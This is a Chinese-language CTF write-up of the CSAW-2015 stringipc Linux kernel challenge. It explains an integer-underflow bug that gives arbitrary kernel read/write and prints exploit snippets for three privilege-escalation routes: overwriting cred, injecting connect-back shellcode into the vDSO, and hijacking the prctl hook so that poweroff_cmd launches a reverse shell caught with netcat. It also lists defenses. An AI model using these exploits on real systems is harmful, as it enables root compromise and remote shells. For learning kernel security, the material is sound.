KERNEL PWN入门总结——从内存任意读写到权限提升
字数 1620 2025-08-19 12:42:38
Linux内核漏洞利用入门:从内存任意读写到权限提升
1. 环境搭建与题目分析
1.1 环境准备
- 内核版本:linux-4.4.110
- busybox版本:1.21.1
- 题目源码:CSAW-2015-CTF的stringipc题目
1.2 题目分析
题目维护了一块由kzalloc(sizeof(*channel), GFP_KERNEL)创建的内存块,提供以下功能:
- 内存块读、写
- 内存块扩展或缩小
1.3 漏洞分析
漏洞存在于realloc_ipc_channel函数中:
static int realloc_ipc_channel(struct ipc_state *state, int id, size_t size, int grow) {
struct ipc_channel *channel;
size_t new_size;
char *new_data;
channel = get_channel_by_id(state, id);
if (IS_ERR(channel)) return PTR_ERR(channel);
if (grow)
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;
new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if (new_data == NULL) return -EINVAL;
channel->data = new_data;
channel->buf_size = new_size;
ipc_channel_put(state, channel);
return 0;
}
关键漏洞点:
- 当
new_size = 0时,krealloc会返回ZERO_SIZE_PTR(定义为(void *)16) - 通过构造
new_size = 0 - 1(即0xffffffffffffffff),可以绕过检查 - 最终获得内存任意读写能力
2. 利用方法一:修改cred结构体提权
2.1 关键数据结构
2.1.1 thread_info结构
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
2.1.2 task_struct结构(简化)
struct task_struct {
volatile long state;
void *stack;
atomic_t usage;
unsigned int flags;
unsigned int ptrace;
/* process credentials */
const struct cred __rcu *ptracer_cred;
const struct cred __rcu *real_cred;
const struct cred __rcu *cred;
char comm[TASK_COMM_LEN]; /* executable name */
/* ... */
};
2.1.3 cred结构体
struct cred {
atomic_t usage;
kuid_t uid; /* real UID */
kgid_t gid; /* real GID */
kuid_t suid; /* saved UID */
kgid_t sgid; /* saved GID */
kuid_t euid; /* effective UID */
kgid_t egid; /* effective GID */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
/* ... */
};
2.2 利用步骤
- 使用
prctl(PR_SET_NAME, "targetname")设置线程名 - 在内核内存中搜索该字符串(范围:0xffff880000000000~0xffffc80000000000)
- 找到
task_struct后,定位cred结构体 - 将
cred中的UID/GID相关字段全部写0
2.3 EXP代码关键部分
// 设置目标线程名
char target[16];
strcpy(target, "try2findmep4nda");
prctl(PR_SET_NAME, target);
// 搜索内存
for(; addr < 0xffffc80000000000; addr += 0x1000) {
seek_args.index = addr - 0x10;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
ioctl(fd, CSAW_READ_CHANNEL, &read_args);
result = memmem(buf, 0x1000, target, 16);
if(result) {
cred = *(size_t*)(result - 0x8);
real_cred = *(size_t*)(result - 0x10);
if((cred || 0xff00000000000000) && (real_cred == cred)) {
target_addr = addr + result - (int)(buf);
printf("[+]found task_struct 0x%lx\n", target_addr);
printf("[+]found cred 0x%lx\n", real_cred);
break;
}
}
}
// 修改cred
for(int i = 0; i < 44; i++) {
seek_args.index = cred - 0x10 + 4 + i;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
root_cred[0] = 0;
write_args.buf = (char*)root_cred;
write_args.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
}
3. 利用方法二:劫持VDSO
3.1 VDSO基础知识
- VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域
- 包含常用系统调用的快速实现(如
gettimeofday) - 内核可读写,用户空间可读可执行
3.2 利用原理
- 找到VDSO在内核中的映射地址
- 修改VDSO中的函数(如
gettimeofday)为shellcode - 等待高权限进程调用被修改的函数
3.3 关键步骤
- 爆破搜索VDSO(范围:0xffffffff80000000~0xffffffffffffefff)
- 识别VDSO通过ELF头特征和函数名
- 覆盖目标函数(如
gettimeofday在偏移0xc80处)
3.4 Shellcode示例
nop
push rbx
xor rax, rax
mov al, 0x66
syscall # check uid
xor rbx, rbx
cmp rbx, rax
jne emulate
xor rax, rax
mov al, 0x39
syscall # fork
xor rbx, rbx
cmp rax, rbx
je connectback
emulate:
pop rbx
xor rax, rax
mov al, 0x60
syscall
retq
connectback:
# 反弹shell代码...
4. 利用方法三:劫持prctl
4.1 原理分析
prctl最终调用security_task_prctlsecurity_task_prctl通过hp->hook.task_prctl调用实际处理函数- 该hook位于内核data段,可被修改
4.2 关键函数
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5) {
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;
list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
4.3 利用call_usermodehelper
int call_usermodehelper(char *path, char **argv, char **envp, int wait) {
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask, NULL, NULL, NULL);
if (info == NULL) return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
4.4 利用步骤
- 找到VDSO获取内核基址
- 定位
prctl_hook和poweroff_cmd地址 - 修改
poweroff_cmd为反弹shell命令 - 将
prctl_hook指向poweroff_work_func
4.5 EXP关键代码
// 修改poweroff_cmd
strcpy(buf, "/reverse_shell\0");
seek_args.index = order_cmd - 0x10;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.buf = buf;
write_args.count = strlen(buf);
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
// 修改prctl_hook
*(size_t*)buf = poweroff_work_func_addr;
seek_args.index = prctl_hook - 0x10;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.buf = buf;
write_args.count = 20+1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
// 触发
if(fork() == 0) {
prctl(addr, 2, addr, addr, 2);
exit(-1);
}
system("nc -l -p 2333");
5. 总结与防御
5.1 三种利用方法对比
- 修改cred:直接有效,但需要定位cred结构
- 劫持VDSO:隐蔽性强,但需要等待高权限进程触发
- 劫持prctl:灵活可靠,但需要更多内核知识
5.2 防御措施
- 启用SMEP/SMAP防止用户空间代码执行
- 内核地址随机化(KASLR)
- 对内核内存写操作进行严格检查
- 关键数据结构保护(如cred结构)
5.3 学习资源
- Bypassing SMEP Using vDSO Overwrites
- New Reliable Android Kernel Root Exploitation Techniques
- Linux内核源码分析
通过这三种方法的学习,可以深入理解Linux内核漏洞利用的基本原理和技术路线,为进一步研究内核安全打下坚实基础。